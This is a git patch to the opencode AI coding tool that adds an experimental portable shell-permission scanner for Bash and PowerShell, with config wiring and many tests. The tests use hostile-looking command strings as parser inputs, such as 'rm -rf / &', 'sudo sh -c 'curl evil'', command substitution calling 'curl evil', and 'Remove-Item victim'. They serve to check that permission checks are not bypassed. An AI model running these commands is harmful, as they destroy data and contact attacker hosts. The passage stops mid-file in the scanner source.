From b0480a6f9350d1846cca12a4fd282bdf2286e603 Mon Sep 17 00:00:00 2001 From: Kit Langton Date: Fri, 14 Aug 2026 11:06:04 -0400 Subject: [PATCH] feat(core): make portable shell scanner authoritative (#42581) --- .changeset/shell-permission-scan.md | 9 + bun.lock | 12 + .../client/src/promise/generated/types.ts | 1 + packages/core/package.json | 1 + packages/core/script/build.ts | 10 + packages/core/src/config/normalize.ts | 9 + packages/core/src/shell/parse.ts | 424 ++++++++++- packages/core/src/tool/plugin/shell.ts | 6 +- .../core/test/config/normalization.test.ts | 2 + packages/core/test/shell-parse-parity.test.ts | 180 +++++ packages/core/test/shell-parse.test.ts | 36 + packages/core/test/tool-shell.test.ts | 25 + packages/schema/src/config/experimental.ts | 3 + packages/shell-scan/package.json | 19 + packages/shell-scan/src/index.ts | 675 ++++++++++++++++++ packages/shell-scan/test/adversarial.test.ts | 82 +++ packages/shell-scan/test/closure.test.ts | 31 + packages/shell-scan/test/generated.test.ts | 189 +++++ packages/shell-scan/test/mutation.test.ts | 29 + packages/shell-scan/test/scan.test.ts | 351 +++++++++ packages/shell-scan/tsconfig.json | 12 + .../content/docs/(Configure)/permissions.mdx | 18 + 22 files changed, 2122 insertions(+), 2 deletions(-) create mode 100644 .changeset/shell-permission-scan.md create mode 100644 packages/core/test/shell-parse-parity.test.ts create mode 100644 packages/shell-scan/package.json create mode 100644 packages/shell-scan/src/index.ts create mode 100644 packages/shell-scan/test/adversarial.test.ts create mode 100644 packages/shell-scan/test/closure.test.ts create mode 100644 packages/shell-scan/test/generated.test.ts create mode 100644 packages/shell-scan/test/mutation.test.ts create mode 100644 packages/shell-scan/test/scan.test.ts create mode 100644 packages/shell-scan/tsconfig.json diff --git a/.changeset/shell-permission-scan.md b/.changeset/shell-permission-scan.md new file mode 100644 index 00000000000..744aa3647da --- /dev/null +++ b/.changeset/shell-permission-scan.md @@ -0,0 +1,9 @@ +--- +"@opencode-ai/core": minor +"@opencode-ai/schema": minor +"@opencode-ai/protocol": minor +"@opencode-ai/client": minor +--- + +Add an opt-in portable shell permission scanner. Opaque commands use normal shell authorization without inferring +external directories, while the default tree-sitter path remains unchanged. diff --git a/bun.lock b/bun.lock index 93361c83944..753dd9ced71 100644 --- a/bun.lock +++ b/bun.lock @@ -394,6 +394,7 @@ "@effect/platform-node": "catalog:", "@effect/sql-sqlite-bun": "catalog:", "@opencode-ai/http-recorder": "workspace:*", + "@opencode-ai/shell-scan": "workspace:*", "@parcel/watcher-darwin-arm64": "2.5.1", "@parcel/watcher-darwin-x64": "2.5.1", "@parcel/watcher-linux-arm64-glibc": "2.5.1", @@ -760,6 +761,15 @@ "vite": "catalog:", }, }, + "packages/shell-scan": { + "name": "@opencode-ai/shell-scan", + "version": "0.0.0", + "devDependencies": { + "@tsconfig/bun": "catalog:", + "@types/bun": "catalog:", + "@typescript/native-preview": "catalog:", + }, + }, "packages/simulation": { "name": "@opencode-ai/simulation", "version": "1.17.13", @@ -2140,6 +2150,8 @@ "@opencode-ai/session-ui": ["@opencode-ai/session-ui@workspace:packages/session-ui"], + "@opencode-ai/shell-scan": ["@opencode-ai/shell-scan@workspace:packages/shell-scan"], + "@opencode-ai/simulation": ["@opencode-ai/simulation@workspace:packages/simulation"], "@opencode-ai/slack": ["@opencode-ai/slack@workspace:packages/slack"], diff --git a/packages/client/src/promise/generated/types.ts b/packages/client/src/promise/generated/types.ts index 49667a8d838..871d21f7ab5 100644 --- a/packages/client/src/promise/generated/types.ts +++ b/packages/client/src/promise/generated/types.ts @@ -1835,6 +1835,7 @@ export type ConfigEntry = } } experimental?: { + portable_shell_scanner?: boolean subagent_depth?: number policies?: Array<{ action: "provider.use"; resource: string; effect: "allow" | "deny" }> } diff --git a/packages/core/package.json b/packages/core/package.json index 0d3fc015e8b..5f9b9245655 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -80,6 +80,7 @@ "@types/bun": "catalog:", "@types/node": "catalog:", "@types/which": "3.0.4", + "@opencode-ai/shell-scan": "workspace:*", "@parcel/watcher-darwin-arm64": "2.5.1", "@parcel/watcher-darwin-x64": "2.5.1", "@parcel/watcher-linux-arm64-glibc": "2.5.1", diff --git a/packages/core/script/build.ts b/packages/core/script/build.ts index bf8eec926e4..8d8281c75d5 100644 --- a/packages/core/script/build.ts +++ b/packages/core/script/build.ts @@ -20,6 +20,16 @@ const result = await Bun.build({ format: "esm", packages: "external", external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#shell-parser-wasm", "#process-lock-ffi", "#v1-migration"], + plugins: [ + { + name: "bundle-shell-scan", + setup(build) { + build.onResolve({ filter: /^@opencode-ai\/shell-scan$/ }, () => ({ + path: path.resolve("../shell-scan/src/index.ts"), + })) + }, + }, + ], splitting: true, loader: { ".txt": "text", diff --git a/packages/core/src/config/normalize.ts b/packages/core/src/config/normalize.ts index 8318d4d54a8..3e0848042c5 100644 --- a/packages/core/src/config/normalize.ts +++ b/packages/core/src/config/normalize.ts @@ -401,6 +401,15 @@ function normalizeExperimental( unsupportedExperimental.forEach((key) => unsupportedIfPresent(experimental, key, ["experimental", key], diagnostics), ) + if (own(experimental, "portable_shell_scanner")) { + const value = decodeEncoded( + ConfigExperimental.Info.fields.portable_shell_scanner, + experimental.portable_shell_scanner, + ["experimental", "portable_shell_scanner"], + diagnostics, + ) + if (value !== undefined) result.portable_shell_scanner = value + } if (own(experimental, "subagent_depth")) { const value = decodeEncoded( ConfigExperimental.Info.fields.subagent_depth, diff --git a/packages/core/src/shell/parse.ts b/packages/core/src/shell/parse.ts index 02c035858f2..fde0c3cf5f4 100644 --- a/packages/core/src/shell/parse.ts +++ b/packages/core/src/shell/parse.ts @@ -9,6 +9,7 @@ import { shellParserWasm } from "#shell-parser-wasm" import { ShellSelect } from "./select.js" type Part = { type: string; text: string } +type SourceToken = { raw: string; value: string } const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location"]) const POWERSHELL_PATH_FLAGS = new Set(["-literalpath", "-path"]) @@ -152,7 +153,17 @@ const ARITY: Record = { "yarn run": 3, } -export const scan = Effect.fn("ShellParse.scan")(function* (command: string, shell: string, cwd: string) { +export const scan = Effect.fn("ShellParse.scan")(function* ( + command: string, + shell: string, + cwd: string, + options?: { portable?: boolean }, +) { + if (options?.portable) return yield* Effect.promise(() => scanPortable(command, shell, cwd)) + return yield* scanLegacy(command, shell, cwd) +}) + +const scanLegacy = Effect.fn("ShellParse.scanLegacy")(function* (command: string, shell: string, cwd: string) { const parsers = yield* Effect.promise(load) const powershell = ShellSelect.ps(shell) const tree = (powershell ? parsers.ps : parsers.bash).parse(command) @@ -186,6 +197,417 @@ export const scan = Effect.fn("ShellParse.scan")(function* (command: string, she ) }) +async function scanPortable(command: string, shell: string, cwd: string) { + const { ShellScan } = await import("@opencode-ai/shell-scan") + const powershell = ShellSelect.ps(shell) + const result = powershell ? ShellScan.scanPowerShell(command) : ShellScan.scan(command) + if (result.kind === "opaque") return { commands: [{ resource: command, save: command }], directories: [] } + const carriage = powershell ? command.search(/\r(?!\n)/) : -1 + if (carriage >= 0) return { commands: [], directories: [] } + + const parsed = result.commands.reduce( + (output, item) => { + const index = item[ShellScan.Nested] ? -1 : command.indexOf(item.resource, output.cursor) + const offset = item[ShellScan.Nested] + ? command.lastIndexOf(item.resource, output.cursor - 1) + : index < 0 + ? command.indexOf(item.resource) + : index + if (index >= 0) output.cursor = index + item.resource.length + const before = command.slice(0, Math.max(0, offset)) + const name = powershell ? item.words[0]?.toLowerCase() : item.words[0] + if (!name) return output + if (powershell && name === "<") return output + if ( + powershell && + name === "foreach-object" && + item.words.some((word) => word.startsWith("{")) && + !/\|\s*$/.test(before) + ) + return output + const tokens = powershell ? powerShellSourceTokens(item.resource) : sourceTokens(item.resource) + const sourceHead = powershell ? item.words[0] : tokens.find((token) => token.value === item.words[0])?.raw + if (CWD.has(name) && (powershell || sourceHead === item.words[0])) { + output.directories.push(...portableDirectoryArgs(item.words, tokens, powershell, cwd, shell)) + return output + } + const save = powershell ? powerShellSourcePrefix(tokens, item.words) : bashSourcePrefix(tokens, item.words) + output.commands.push({ + resource: powershell ? item.resource : bashResource(item.resource, before), + save: `${save} *`, + }) + return output + }, + { + commands: [] as Array<{ resource: string; save: string }>, + directories: [] as string[], + cursor: 0, + }, + ) + return { commands: parsed.commands, directories: parsed.directories } +} + +function bashResource(resource: string, before: string) { + if (!/(?:&&|\|\||\|&)\s*$|\|\s*$/.test(before)) return resource + const redirect = bashRedirect(resource) + return redirect < 0 ? resource : resource.slice(0, redirect).replace(/\d+$/, "").trim() +} + +function bashRedirect(resource: string) { + let quote: "single" | "double" | undefined + for (let index = 0; index < resource.length; index++) { + const char = resource[index] + if (quote === "single") { + if (char === "'") quote = undefined + continue + } + if (char === "\\") { + index++ + continue + } + if (char === '"') { + quote = quote === "double" ? undefined : "double" + continue + } + if (quote === "double") { + if (char === "$" && resource[index + 1] === "(") index = bashParenthesizedEnd(resource, index + 1) + else if (char === "`") index = bashBacktickEnd(resource, index) + continue + } + if (char === "'") { + quote = "single" + continue + } + if ((char === "$" || char === "<" || char === ">") && resource[index + 1] === "(") { + index = bashParenthesizedEnd(resource, index + 1) + continue + } + if (char === "`") { + index = bashBacktickEnd(resource, index) + continue + } + if (char === "<" || char === ">" || (char === "&" && resource[index + 1] === ">")) return index + } + return -1 +} + +function bashParenthesizedEnd(resource: string, start: number) { + let level = 1 + let quote: "single" | "double" | undefined + for (let index = start + 1; index < resource.length; index++) { + const char = resource[index] + if (quote === "single") { + if (char === "'") quote = undefined + continue + } + if (char === "\\") { + index++ + continue + } + if (char === '"') { + quote = quote === "double" ? undefined : "double" + continue + } + if (quote === "double") continue + if (char === "'") { + quote = "single" + continue + } + if (char === "(") level++ + if (char === ")" && --level === 0) return index + } + return resource.length - 1 +} + +function bashBacktickEnd(resource: string, start: number) { + for (let index = start + 1; index < resource.length; index++) { + if (resource[index] === "\\") index++ + else if (resource[index] === "`") return index + } + return resource.length - 1 +} + +function portableDirectoryArgs( + command: string[], + tokens: SourceToken[], + powershell: boolean, + cwd: string, + shell: string, +) { + if (!powershell) { + const start = tokens.findIndex((token) => token.value === command[0]) + if (start < 0) return [] + return directoryArgs( + tokens.slice(start).map((token) => ({ type: "word", text: token.raw })), + false, + cwd, + shell, + ) + } + + const start = tokens.findIndex((token) => token.value.toLowerCase() === command[0]?.toLowerCase()) + if (start < 0) return [] + const directories: string[] = [] + let expectsPath = false + for (const part of tokens.slice(start + 1).map((token) => token.raw)) { + if (expectsPath) { + const value = directoryArgument(part, true, cwd, shell) + if (value) directories.push(value) + expectsPath = false + continue + } + if (part.startsWith("-")) { + expectsPath = POWERSHELL_PATH_FLAGS.has(part.toLowerCase()) + continue + } + const value = directoryArgument(part, true, cwd, shell) + if (value) directories.push(value) + } + return directories +} + +function sourceTokens(resource: string) { + const tokens: SourceToken[] = [] + let raw = "" + let value = "" + let quote: "single" | "double" | "backtick" | undefined + let substitution = 0 + let redirect = false + + const finish = () => { + if (!raw) return + if (!redirect) tokens.push({ raw, value }) + raw = "" + value = "" + redirect = false + } + + for (let index = 0; index < resource.length; index++) { + const char = resource[index] + if (quote === "single") { + raw += char + if (char === "'") quote = undefined + else value += char + continue + } + if (quote === "double") { + raw += char + if (char === '"') quote = undefined + else if (char === "\\" && index + 1 < resource.length) { + const next = resource[index + 1] + if ('$`"\\\n'.includes(next)) { + raw += resource[++index] + if (next !== "\n") value += next + } else value += char + } else value += char + continue + } + if (quote === "backtick") { + raw += char + value += char + if (char === "`" && resource[index - 1] !== "\\") quote = undefined + continue + } + if (char === "'") { + raw += char + quote = "single" + continue + } + if (char === '"') { + raw += char + quote = "double" + continue + } + if (char === "`") { + raw += char + value += char + quote = "backtick" + continue + } + if (char === "\\" && index + 1 < resource.length) { + if (resource[index + 1] === "\n") { + finish() + index++ + continue + } + if (!raw && /\s/.test(resource[index + 1])) { + index++ + continue + } + raw += char + resource[++index] + value += resource[index] + continue + } + if ((char === "<" || char === ">") && resource[index + 1] === "(") { + const end = bashParenthesizedEnd(resource, index + 1) + if (raw) { + raw += resource.slice(index, end + 1) + value += resource.slice(index, end + 1) + } + index = end + continue + } + if (char === "$" && resource[index + 1] === "(") substitution++ + if (char === ")" && substitution > 0) substitution-- + if (substitution === 0 && /\s/.test(char)) { + finish() + continue + } + if (substitution === 0 && (char === "<" || char === ">" || (char === "&" && resource[index + 1] === ">"))) { + if (/^\d+$/.test(value)) { + raw = "" + value = "" + } else finish() + redirect = true + if (char === "&") index++ + while (/[<>&|]/.test(resource[index + 1] ?? "")) index++ + continue + } + raw += char + value += char + } + finish() + + return tokens +} + +function bashSourcePrefix(tokens: SourceToken[], words: string[]) { + const start = tokens.findIndex((token) => token.value === words[0]) + if (start < 0) { + const command = tokens.findIndex((token) => !/^[A-Za-z_][A-Za-z0-9_]*\+?=/.test(token.raw)) + return prefix(tokens.slice(Math.max(0, command)).map((token) => token.raw)).join(" ") + } + const source = tokens + .slice(start) + .map((token) => token.raw) + .filter((token) => !/^\$\([\s\S]*\)$/.test(token) && !/^`[\s\S]*`$/.test(token)) + return prefix(source).join(" ") +} + +function powerShellSourcePrefix(tokens: SourceToken[], words: string[]) { + const start = tokens.findIndex((token) => token.value.toLowerCase() === words[0]?.toLowerCase()) + if (start < 0) return prefix(words).join(" ") + return prefix(tokens.slice(start).map((token) => token.raw)).join(" ") +} + +function powerShellSourceTokens(resource: string) { + const tokens: SourceToken[] = [] + let raw = "" + let value = "" + let quote: "single" | "double" | undefined + let redirect = false + + const finish = () => { + if (!raw) return + if (!redirect) tokens.push({ raw, value }) + raw = "" + value = "" + redirect = false + } + + for (let index = 0; index < resource.length; index++) { + const char = resource[index] + if (quote === "single") { + raw += char + if (char === "'" && resource[index + 1] === "'") { + raw += resource[++index] + value += "'" + } else if (char === "'") quote = undefined + else value += char + continue + } + if (quote === "double") { + raw += char + if (char === '"') quote = undefined + else if (char === "`" && index + 1 < resource.length) { + raw += resource[++index] + value += resource[index] + } else value += char + continue + } + if (char === "'") { + raw += char + quote = "single" + continue + } + if (char === '"') { + raw += char + quote = "double" + continue + } + if (char === "`" && index + 1 < resource.length) { + raw += char + resource[++index] + if (resource[index] !== "\n" && resource[index] !== "\r") value += resource[index] + continue + } + if (char === "{" && !raw) { + const end = powerShellBracedEnd(resource, index) + raw = resource.slice(index, end + 1) + value = raw + index = end + continue + } + if (/\s/.test(char)) { + finish() + continue + } + if (char === ">") { + if (resource[index + 1] && !/[\s>&]/.test(resource[index + 1])) { + raw += char + value += char + continue + } + if (/^\d+$/.test(value)) { + raw = "" + value = "" + } else if (raw === "*") { + raw = "" + value = "" + } else finish() + redirect = true + while (/[>&\d]/.test(resource[index + 1] ?? "")) index++ + continue + } + if ((char === "&" || char === ".") && !raw && tokens.length === 0) continue + raw += char + value += char + } + finish() + return tokens +} + +function powerShellBracedEnd(resource: string, start: number) { + let level = 1 + let quote: "single" | "double" | undefined + for (let index = start + 1; index < resource.length; index++) { + const char = resource[index] + if (char === "`" && quote !== "single") { + index++ + continue + } + if (quote === "single") { + if (char === "'" && resource[index + 1] === "'") index++ + else if (char === "'") quote = undefined + continue + } + if (quote === "double") { + if (char === '"') quote = undefined + continue + } + if (char === "'") { + quote = "single" + continue + } + if (char === '"') { + quote = "double" + continue + } + if (char === "{") level++ + if (char === "}" && --level === 0) return index + } + return resource.length - 1 +} + function parts(node: Node) { return Array.from({ length: node.childCount }).flatMap((_, index): Part[] => { const child = node.child(index) diff --git a/packages/core/src/tool/plugin/shell.ts b/packages/core/src/tool/plugin/shell.ts index 22ad291e5a7..1f77ed7e55f 100644 --- a/packages/core/src/tool/plugin/shell.ts +++ b/packages/core/src/tool/plugin/shell.ts @@ -163,7 +163,11 @@ export const Plugin = { invocation.cwd = target.absolute finalTimeout = invocation.timeout if (!unrestricted) { - const parsed = yield* ShellParse.scan(invocation.command, invocation.shell, target.absolute) + const portable = + Config.latest(yield* config.entries(), "experimental")?.portable_shell_scanner === true + const parsed = yield* ShellParse.scan(invocation.command, invocation.shell, target.absolute, { + portable, + }) const directories = yield* Effect.forEach(parsed.directories, (directory) => mutation.resolve({ path: path.resolve(target.absolute, directory), kind: "directory" }), ) diff --git a/packages/core/test/config/normalization.test.ts b/packages/core/test/config/normalization.test.ts index 9c89bf45526..3d1401cd209 100644 --- a/packages/core/test/config/normalization.test.ts +++ b/packages/core/test/config/normalization.test.ts @@ -393,11 +393,13 @@ describe("ConfigNormalize", () => { enabled_providers: ["anthropic"], disabled_providers: ["openai"], experimental: { + portable_shell_scanner: true, subagent_depth: 0, policies: [{ action: "provider.use", resource: "custom", effect: "allow" }], }, }).encoded.experimental, ).toEqual({ + portable_shell_scanner: true, subagent_depth: 0, policies: [ { action: "provider.use", resource: "*", effect: "deny" }, diff --git a/packages/core/test/shell-parse-parity.test.ts b/packages/core/test/shell-parse-parity.test.ts new file mode 100644 index 00000000000..609d84fcc82 --- /dev/null +++ b/packages/core/test/shell-parse-parity.test.ts @@ -0,0 +1,180 @@ +import { describe, expect, test } from "bun:test" +import { ShellScan } from "@opencode-ai/shell-scan" +import { Effect } from "effect" +import { ShellParse } from "../src/shell/parse.js" + +describe("ShellParse portable parity", () => { + test("matches tree-sitter for generated supported syntax", async () => { + for (const [shell, command] of generated()) { + const scanned = shell === "pwsh" ? ShellScan.scanPowerShell(command) : ShellScan.scan(command) + const portable = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true })) + + if (scanned.kind === "opaque") { + expect({ command, portable }).toEqual({ + command, + portable: { commands: [{ resource: command, save: command }], directories: [] }, + }) + continue + } + if (shell === "pwsh" && /\r(?!\n)/.test(command)) { + expect(portable).toEqual({ commands: [], directories: [] }) + continue + } + + const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace")) + expect({ command, portable }).toEqual({ command, portable: legacy }) + } + }) +}) + +function generated() { + const result: Array<[shell: string, command: string]> = [] + const bashHeads = ["git", "npm", "echo", "printf", "cat", "cd"] + const bashArgs = [ + "", + " status", + " plain", + " 'two words'", + ' "two words"', + " escaped\\ space", + " hash#word", + " --flag=value", + " ./relative", + " /tmp/absolute", + ] + const assignments = ["", "X=value ", "X='two words' ", 'X="two words" '] + const redirects = ["", " > output", " 2> error", " < input", " >> output"] + const bashSeparators = [" ; ", " && ", " || ", " | ", " |& ", "\n"] + + for (const head of bashHeads) + for (const arg of bashArgs) + for (const assignment of assignments) + for (const redirect of redirects) result.push(["/bin/bash", assignment + head + arg + redirect]) + for (const left of bashHeads) + for (const right of bashHeads) + for (const separator of bashSeparators) result.push(["/bin/bash", `${left} left${separator}${right} right`]) + for (const outer of bashHeads) + for (const inner of bashHeads) { + result.push(["/bin/bash", `${outer} $(${inner} nested)`]) + result.push(["/bin/bash", `${outer} "$(${inner} nested)"`]) + result.push(["/bin/bash", `${outer} pre$(${inner} nested)post`]) + result.push(["/bin/bash", `${outer} \`${inner} nested\``]) + } + for (const command of [ + 'npm "run" test', + 'g""it status', + "'git' status", + "g\\it status", + "git status; git status; git diff", + "printf ok>out 2>&1|cat>err printf ok > out && cat < input", + "printf ok # ignored ; curl evil\nprintf done", + "(git status) && { npm test; }", + "echo ${arr[$(printf index)]}", + "OUT=$(printf out) X=`printf value` printenv >$(printf path)", + "cat <(printf secret)", + "rm -rf / &", + "sudo sh -c 'curl evil'", + "find . -exec rm {} ;", + 'c"\\d" relative', + "'cd' /tmp", + "c''d /tmp", + "c\\\nd /tmp", + "echo x && git >(cat) status", + 'echo x && printf ">" status', + 'echo "git > out" && git > out', + "echo x && printf a\\>b status", + "echo x && printf $(echo a>b) status", + "git <(printf status) diff", + "npm <(printf run) test", + "cd <(printf /tmp)", + "git &>x", + "cd &>x", + "git \\ a", + "cd \\ a", + "cat <<'EOF'\nstatic body\nEOF", + "cat < out.txt 2>&1 | Out-File all.log", + "Write-Output ok > output.txt # ignored\nGet-ChildItem", + "Write-Output ok > output.txt # ignored\rGet-ChildItem", + "Write-Output ok > output.txt # ignored\r\nGet-ChildItem", + "& git status", + ". ./deploy.ps1", + "Get-ChildItem | ForEach-Object { Remove-Item $_ }", + "ForEach-Object { Remove-Item $_ }", + "&Remove-Item victim", + "< #\nRemove-Item victim", + "Microsoft.PowerShell.Management\\Get-Item x; Remove-Item y", + 'git "status"', + "git st`atus", + 'npm "run" test', + 'docker "compose" up', + "git >x", + "git *>&1", + "git foo2>bar", + "git 12>bar", + "git a`;b", + "git & Write-Output q", + "Write-Output 'ForEach-Object { Remove-Item x }' | ForEach-Object { Remove-Item x }", + "$Command value", + "& $Command value", + 'Write-Output "$(Get-ChildItem)"', + "if ($true) { Get-ChildItem } else { Remove-Item victim }", + "Set-Location $env:TEMP; Get-ChildItem", + 'Write-Output "unterminated', + ]) + result.push(["pwsh", command]) + + let state = 0x5eed1234 + const random = (length: number) => { + state = (Math.imul(state, 1664525) + 1013904223) >>> 0 + return state % length + } + for (let index = 0; index < 10_000; index++) { + const left = bashHeads[random(bashHeads.length)] + const right = bashHeads[random(bashHeads.length)] + const arg = bashArgs[random(bashArgs.length)] + const separator = bashSeparators[random(bashSeparators.length)] + const bashForms = [ + `${left}${arg}${separator}${right} fuzz${index}`, + `${left}${arg} $(${right} fuzz${index})`, + `${left}${arg} # ignored\n${right} fuzz${index}`, + `X=value ${left}${arg}${redirects[random(redirects.length)]}`, + `${left} before\\\nafter${separator}${right} fuzz${index}`, + ] + result.push(["/bin/bash", bashForms[index % bashForms.length]]) + + const powershellLeft = powershellHeads[random(powershellHeads.length)] + const powershellRight = powershellHeads[random(powershellHeads.length)] + const powershellArg = powershellArgs[random(powershellArgs.length)] + const powershellSeparator = powershellSeparators[random(powershellSeparators.length)] + const powershellForms = [ + `${powershellLeft}${powershellArg}${powershellSeparator}${powershellRight} fuzz${index}`, + `${powershellLeft}${powershellArg} # ignored\n${powershellRight} fuzz${index}`, + `${powershellLeft} fuzz${index} > output; ${powershellRight}${powershellArg}`, + `${powershellLeft}\`\n fuzz${index}; ${powershellRight}${powershellArg}`, + ] + result.push(["pwsh", powershellForms[index % powershellForms.length]]) + } + + return result +} diff --git a/packages/core/test/shell-parse.test.ts b/packages/core/test/shell-parse.test.ts index d18fe710978..4d9bf8d7795 100644 --- a/packages/core/test/shell-parse.test.ts +++ b/packages/core/test/shell-parse.test.ts @@ -18,6 +18,42 @@ describe("ShellParse", () => { }) }) + test("portable scanning never adds permission resources", async () => { + const commands = [ + "git status && npm run test -- --watch", + "echo $(curl evil | sed s/x/y/)", + "cat <<'EOF'\nstatic body\nEOF", + "cat < legacy.commands.some((candidate) => candidate.resource === item.resource)), + ).toBe(true) + expect(portable.directories.every((item) => legacy.directories.includes(item))).toBe(true) + } + }) + + test("portable scanning authorizes opaque heredocs without inferring directories", async () => { + const command = "cat <<'EOF'\nstatic body\nEOF" + const portable = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true })) + expect(portable).toEqual({ commands: [{ resource: command, save: command }], directories: [] }) + }) + + test.each(['c"\\d" relative', "'cd' /tmp", "c''d /tmp", "c\\\nd /tmp"])( + "portable scanning keeps source-shaped command heads under shell authorization: %s", + async (command) => { + const portable = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true })) + expect(portable.commands.map((item) => item.resource)).toEqual([command]) + expect(portable.directories).toEqual([]) + }, + ) + test("splits PowerShell commands case-insensitively", async () => { const result = await Effect.runPromise( ShellParse.scan( diff --git a/packages/core/test/tool-shell.test.ts b/packages/core/test/tool-shell.test.ts index d203479e893..dc58c62405a 100644 --- a/packages/core/test/tool-shell.test.ts +++ b/packages/core/test/tool-shell.test.ts @@ -512,6 +512,31 @@ describe("ShellTool", () => { { timeout: 15_000 }, ) + it.live("does not add external-directory permission for an experimental portable heredoc", () => + Effect.acquireUseRelease( + Effect.promise(() => tmpdir()), + (tmp) => + Effect.gen(function* () { + if (isWindows) return + reset() + denyAction = "external_directory" + yield* Effect.promise(() => + Bun.write( + path.join(tmp.path, "opencode.json"), + JSON.stringify({ experimental: { portable_shell_scanner: true } }), + ), + ) + const settled = yield* withSession(tmp.path, (registry) => + executeTool(registry, call({ command: "cat <<'EOF'\nhello\nEOF" }, "call-portable-heredoc")), + ) + expect(settled.status).toBe("completed") + expect(assertions.map((item) => item.action)).toEqual(["shell"]) + expect(settled.content?.[0]).toMatchObject({ type: "text", text: "hello\n" }) + }), + (tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)), + ), + ) + it.live("keeps non-zero exits useful", () => Effect.acquireUseRelease( Effect.promise(() => tmpdir()), diff --git a/packages/schema/src/config/experimental.ts b/packages/schema/src/config/experimental.ts index 06369d56c1a..84dfa4b19b8 100644 --- a/packages/schema/src/config/experimental.ts +++ b/packages/schema/src/config/experimental.ts @@ -5,6 +5,9 @@ import { NonNegativeInt, optional } from "../schema.js" import { ConfigPolicy } from "./policy.js" export class Info extends Schema.Class("ConfigExperimental.Info")({ + portable_shell_scanner: Schema.Boolean.pipe(optional).annotate({ + description: "Enable the experimental portable shell permission scanner. Defaults to false.", + }), subagent_depth: NonNegativeInt.pipe(optional).annotate({ description: "Maximum subagent nesting depth. Defaults to 1.", }), diff --git a/packages/shell-scan/package.json b/packages/shell-scan/package.json new file mode 100644 index 00000000000..c25d549ee98 --- /dev/null +++ b/packages/shell-scan/package.json @@ -0,0 +1,19 @@ +{ + "$schema": "https://json.schemastore.org/package.json", + "name": "@opencode-ai/shell-scan", + "version": "0.0.0", + "private": true, + "type": "module", + "exports": { + ".": "./src/index.ts" + }, + "scripts": { + "test": "bun test --only-failures", + "typecheck": "tsgo --noEmit" + }, + "devDependencies": { + "@tsconfig/bun": "catalog:", + "@types/bun": "catalog:", + "@typescript/native-preview": "catalog:" + } +} diff --git a/packages/shell-scan/src/index.ts b/packages/shell-scan/src/index.ts new file mode 100644 index 00000000000..f96c2721ed6 --- /dev/null +++ b/packages/shell-scan/src/index.ts @@ -0,0 +1,675 @@ +export * as ShellScan from "./index.js" + +export type OpaqueReason = + | "command-substitution" + | "compound-command" + | "dynamic-command-name" + | "dynamic-directory" + | "dynamic-execution" + | "heredoc" + | "invalid-redirect" + | "invalid-structure" + | "unterminated-escape" + | "unterminated-quote" + +export const Nested = Symbol("ShellScan.Nested") + +type Command = { resource: string; words: string[]; [Nested]?: true } + +export type Result = { kind: "scanned"; commands: Command[] } | { kind: "opaque"; reason: OpaqueReason } + +const BASH_COMPOUND_KEYWORDS = new Set([ + "if", + "then", + "elif", + "else", + "fi", + "for", + "while", + "until", + "case", + "select", + "function", + "do", + "done", + "coproc", +]) +const POWERSHELL_LOCATIONS = new Set(["set-location", "cd", "chdir", "sl", "push-location", "pushd"]) +const BASH_REDIRECTS = ["&>>", "&>", "<<<", "<<-", "<<", "<>", "<&", ">&", ">|", ">>", ">", "<"] +const MAX_BASH_INPUT_LENGTH = 64 * 1024 +const MAX_SUBSTITUTION_DEPTH = 32 + +export function scan(input: string): Result { + return scanBash(input, 0) +} + +function scanBash(input: string, depth: number): Result { + if (input.length > MAX_BASH_INPUT_LENGTH) return { kind: "opaque", reason: "invalid-structure" } + const group = bashLeadingGroup(input) + if (group) { + if (depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "invalid-structure" } + const nested = scanBash(group.source, depth + 1) + if (nested.kind === "opaque") return nested + const suffix = input.slice(group.end + 1).trim() + if (!suffix) return nested + const separator = /^(?:&&|\|\||\|&|[;&|])/.exec(suffix)?.[0] + const remaining = separator ? suffix.slice(separator.length).trim() : suffix + if (separator && !remaining) return nested + const prefixed = separator ? remaining : /^[<>]/.test(remaining) ? `: ${remaining}` : undefined + if (!prefixed) return { kind: "opaque", reason: "compound-command" } + const rest = scanBash(prefixed, depth + 1) + if (rest.kind === "opaque") return rest + return { + kind: "scanned", + commands: nested.commands.concat(rest.commands.filter((command) => command.words[0] !== ":")), + } + } + const commands: Array<{ resource: string; words: string[] }> = [] + const nestedCommands: Array<{ resource: string; words: string[] }> = [] + const words: string[] = [] + const assignmentWords: boolean[] = [] + let word = "" + let wordStarted = false + let assignmentWord = false + let assignmentHeadUnsafe = false + let segment = 0 + let quote: "single" | "double" | undefined + let compound = false + let invalidRedirect = false + let invalidStructure = false + let separated = false + let comment: number | undefined + let heredoc = false + let redirectTarget = false + let hasRedirect = false + let terminalBackground = false + + const finishWord = () => { + if (!wordStarted) return + if (!redirectTarget) { + words.push(word) + assignmentWords.push(assignmentWord) + } + redirectTarget = false + word = "" + wordStarted = false + assignmentWord = false + assignmentHeadUnsafe = false + } + const finishCommand = (end: number, boundary = false) => { + finishWord() + const resource = input.slice(segment, end).trim() + const name = assignmentWords.findIndex((assignment) => !assignment) + if (name >= 0 && /[*?[]/.test(words[name])) compound = true + if (resource && name >= 0) + commands.push({ + resource, + words: words.slice(name), + }) + else if (!(assignmentWords.length > 0 && assignmentWords.every(Boolean)) && (hasRedirect || boundary || separated)) + invalidStructure = true + commands.push(...nestedCommands.splice(0)) + words.length = 0 + assignmentWords.length = 0 + separated = true + hasRedirect = false + } + + for (let index = 0; index < input.length; index++) { + const char = input[index] + if (quote === "single") { + wordStarted = true + if (char === "'") quote = undefined + else word += char + continue + } + if (quote === "double") { + wordStarted = true + if (char === '"') quote = undefined + else if (char === "\\" && index + 1 < input.length) { + const next = input[index + 1] + if ('$`"\\\n'.includes(next)) { + index++ + if (next !== "\n") word += next + } else word += char + } else if ((char === "$" && input[index + 1] === "(") || char === "`") { + const substitution = bashSubstitution(input, index) + if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" } + const result = scanBash(substitution.source, depth + 1) + if (result.kind === 